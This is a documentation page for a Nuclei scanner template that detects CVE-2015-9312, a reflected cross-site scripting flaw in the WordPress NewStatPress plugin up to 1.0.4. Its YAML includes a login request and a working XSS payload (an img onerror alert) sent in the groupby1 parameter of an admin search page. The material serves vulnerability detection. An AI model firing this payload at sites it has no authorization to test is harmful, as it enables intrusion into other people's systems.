Skip to content
Nuclei Templates

NewStatPress <=1.0.4 - Cross-Site Scripting

ID: CVE-2015-9312

Severity: medium

Author: r3Y3r53

Tags: cve2015,cve,xss,authenticated,wp,newstatpress,wpscan,wordpress,wp-plugin,newstatpress_project

Description

Section titled “Description”

WordPress NewStatPress plugin through 1.0.4 contains a cross-site scripting vulnerability. The plugin utilizes, on lines 28 and 31 of the file “includes/nsp_search.php”, several variables from the $_GET scope without sanitation. While WordPress automatically escapes quotes on this scope, the outputs on these lines are outside of quotes, and as such can be utilized to initiate a cross-site scripting attack.

YAML Source

Section titled “YAML Source”
id: CVE-2015-9312


info:
  name: NewStatPress <=1.0.4 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    WordPress NewStatPress plugin through 1.0.4 contains a cross-site scripting vulnerability. The plugin utilizes, on lines 28 and 31 of the file "includes/nsp_search.php", several variables from the $_GET scope without sanitation. While WordPress automatically escapes quotes on this scope, the outputs on these lines are outside of quotes, and as such can be utilized to initiate a cross-site scripting attack.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the affected website, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: Fixed in version 1.0.6
  reference:
    - https://wpscan.com/vulnerability/46bf6c69-b612-4aee-965d-91f53f642054
    - https://g0blin.co.uk/g0blin-00057/
    - https://wordpress.org/plugins/newstatpress/#developers
    - https://nvd.nist.gov/vuln/detail/CVE-2015-9312
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2015-9312
    cwe-id: CWE-79
    epss-score: 0.00088
    epss-percentile: 0.3753
    cpe: cpe:2.3:a:newstatpress_project:newstatpress:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: newstatpress_project
    product: newstatpress
    framework: wordpress
  tags: cve2015,cve,xss,authenticated,wp,newstatpress,wpscan,wordpress,wp-plugin,newstatpress_project


http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded


        log={{username}}&pwd={{password}}&wp-submit=Log+In
      - |
        GET /wp-admin/admin.php?groupby1=checked%3E%3Cimg+src%3Dx+onerror%3Dalert%28document.domain%29&page=nsp_search&newstatpress_action=search HTTP/1.1
        Host: {{Hostname}}


    matchers:
      - type: dsl
        dsl:
          - 'status_code_2 == 200'
          - 'contains(body_2, "<img src=x onerror=alert(document.domain)")'
          - 'contains(body_2, "newstatpress")'
        condition: and
# digest: 490a0046304402203e785e0aa3dbfea17c25bb01ed62259d490560f3e9a1cdc2e3f46bd657ad74220220614cb0be4096debf190647b0d76f70be64289cc1e607624b7943e8df60899748:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2015/CVE-2015-9312.yaml"

View on Github